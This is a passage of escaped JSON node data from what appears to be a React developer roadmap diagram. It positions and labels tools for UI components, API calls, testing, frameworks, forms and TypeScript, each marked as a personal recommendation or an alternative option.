{\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -453.52532545570534,\n        \"y\": 671.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"njKsYNkwTXPQ1NjlGKXab\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -453.52532545570534,\n        \"y\": 777.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shadcn UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -453.52532545570534,\n        \"y\": 777.9443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"awoEhwPKjUcR84XGL6Som\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -200.02532545570534,\n        \"y\": 736.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSS Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"akVNUPOqaTXaSHoQFlkP_\",\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.02532545570534,\n        \"y\": 736.9443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XL9XOV2h0BAuA5cFcM5L_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -153.52532545570534,\n        \"y\": 936.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Radix UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.52532545570534,\n        \"y\": 936.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RvDfKoa_HIW3QDBfkPv3m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -153.52532545570534,\n        \"y\": 989.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Aria\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.52532545570534,\n        \"y\": 989.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kiCTo0U6VgNON8rv_Ktlj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -153.52532545570534,\n        \"y\": 1042.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ark UI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175\n      },\n      \"positionAbsolute\": {\n        \"x\": -153.52532545570534,\n        \"y\": 1042.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b4AP2OggxFAwsQtUwiUJJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -215.60313927083638,\n        \"y\": 1129.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Calls\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nK1DhEXBKVhvSR1P_vzgj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -215.60313927083638,\n        \"y\": 1129.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8nMbfGxe3STMbrAVcqHHh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1228.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apollo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1228.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cLfM342sZfsCwmPPxQpEI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1281.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relay\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1281.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9M5jRu0pj8KMvg9f-2oqZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1334.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"urql\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -321.88461276470804,\n        \"y\": 1334.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zWcMFfyiWJddGbiIhmdKm\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -307.88461276470804,\n        \"y\": 1390.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"KNAlIYCENB4VMuQGqJNk3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -307.88461276470804,\n        \"y\": 1390.476431006493\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 87,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-ea1KsXEyz-4voHXklG_J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -94.60313927083638,\n        \"y\": 1281.976431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"swr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -94.60313927083638,\n        \"y\": 1281.976431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5EPmbiNdP_vhIXclv_GjV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1228.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"react-query\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1228.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ElqWQClryfSYdL7P_mgYK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1281.976431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Axios\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1281.976431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h49-tjEkKcq7d7ikRHIOx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1334.976431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"rtk-query\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -198.60313927083638,\n        \"y\": 1334.976431006493\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KNAlIYCENB4VMuQGqJNk3\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -125.60313927083638,\n        \"y\": 1390.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"REST\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -125.60313927083638,\n        \"y\": 1390.476431006493\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"e_lwZ-a72-tAan2KDX6k3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 162.47467454429466,\n        \"y\": 1129.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nK1DhEXBKVhvSR1P_vzgj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 162.47467454429466,\n        \"y\": 1129.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"opa61u9gYgSpoPtxp58wu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 231.97467454429466,\n        \"y\": 986.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 231.97467454429466,\n        \"y\": 986.4443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LULjhsPNONyI5912DKzPw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.97467454429466,\n        \"y\": 986.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vitest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 94,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.97467454429466,\n        \"y\": 986.4443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cQllxv7qGbRtM9O5llgN6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.97467454429466,\n        \"y\": 1039.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"react-testing-library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 134.97467454429466,\n        \"y\": 1039.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zN7Ps1puD-YpHbKi1pHH8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 156.47467454429466,\n        \"y\": 1214.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 156.47467454429466,\n        \"y\": 1214.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g39P0c6M2sHNoUPs0m8tr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 156.47467454429466,\n        \"y\": 1267.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155\n      },\n      \"positionAbsolute\": {\n        \"x\": 156.47467454429466,\n        \"y\": 1267.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W-atg_Msa9uPLr6RXAKSb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 393.49469523818516,\n        \"y\": 1129.476431006493\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nK1DhEXBKVhvSR1P_vzgj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 393.49469523818516,\n        \"y\": 1129.476431006493\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HdWq9ue0JdwmwqSIN2OD_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 395.49469523818516,\n        \"y\": 1036.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Next.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-WjJBYCmRRj08n_9HxohY\",\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": 395.49469523818516,\n        \"y\": 1036.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_HoZkE7FH-v3wI_722ZTF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 395.49469523818516,\n        \"y\": 983.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Astro\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-WjJBYCmRRj08n_9HxohY\",\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139\n      },\n      \"positionAbsolute\": {\n        \"x\": 395.49469523818516,\n        \"y\": 983.4443302389855\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-WjJBYCmRRj08n_9HxohY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 395.49469523818516,\n        \"y\": 930.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"react-router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 395.49469523818516,\n        \"y\": 930.4443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KHcC5pFN3qLnsbPPKpYd2\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 393.49469523818516,\n        \"y\": 1382.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nK1DhEXBKVhvSR1P_vzgj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 393.49469523818516,\n        \"y\": 1382.9443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_5ht0PAdVOJWPzTRS1mVg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 374.49469523818516,\n        \"y\": 1474.1701814857588\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Hook Form\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 374.49469523818516,\n        \"y\": 1474.1701814857588\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gr1CaLvL7tFOkIRywSsID\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 374.49469523818516,\n        \"y\": 1527.1701814857588\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Formik\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"CRQCl3LvTj0sJWThSxjKu\",\n          \"label\": \"Alternative Option (Pick this or purple)\",\n          \"color\": \"#19a323\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 374.49469523818516,\n        \"y\": 1527.1701814857588\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UNlvRp6k3_RDoTAAIEfJ1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 82.693201050423,\n        \"y\": 1520.8287356248509\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types & Validation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nK1DhEXBKVhvSR1P_vzgj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 82.693201050423,\n        \"y\": 1520.8287356248509\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ElgRwv5LSVg5FXGx-2K2s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.193201050423,\n        \"y\": 1378.4581550365865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"Z0WmUXWj-7draje3jE1WR\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation (Opinion)\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 47.4759521484375\n      },\n      \"positionAbsolute\": {\n        \"x\": 100.193201050423,\n        \"y\": 1378.4581550365865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"K3RZ8ESxWCpLKHePF87Hy\",\n      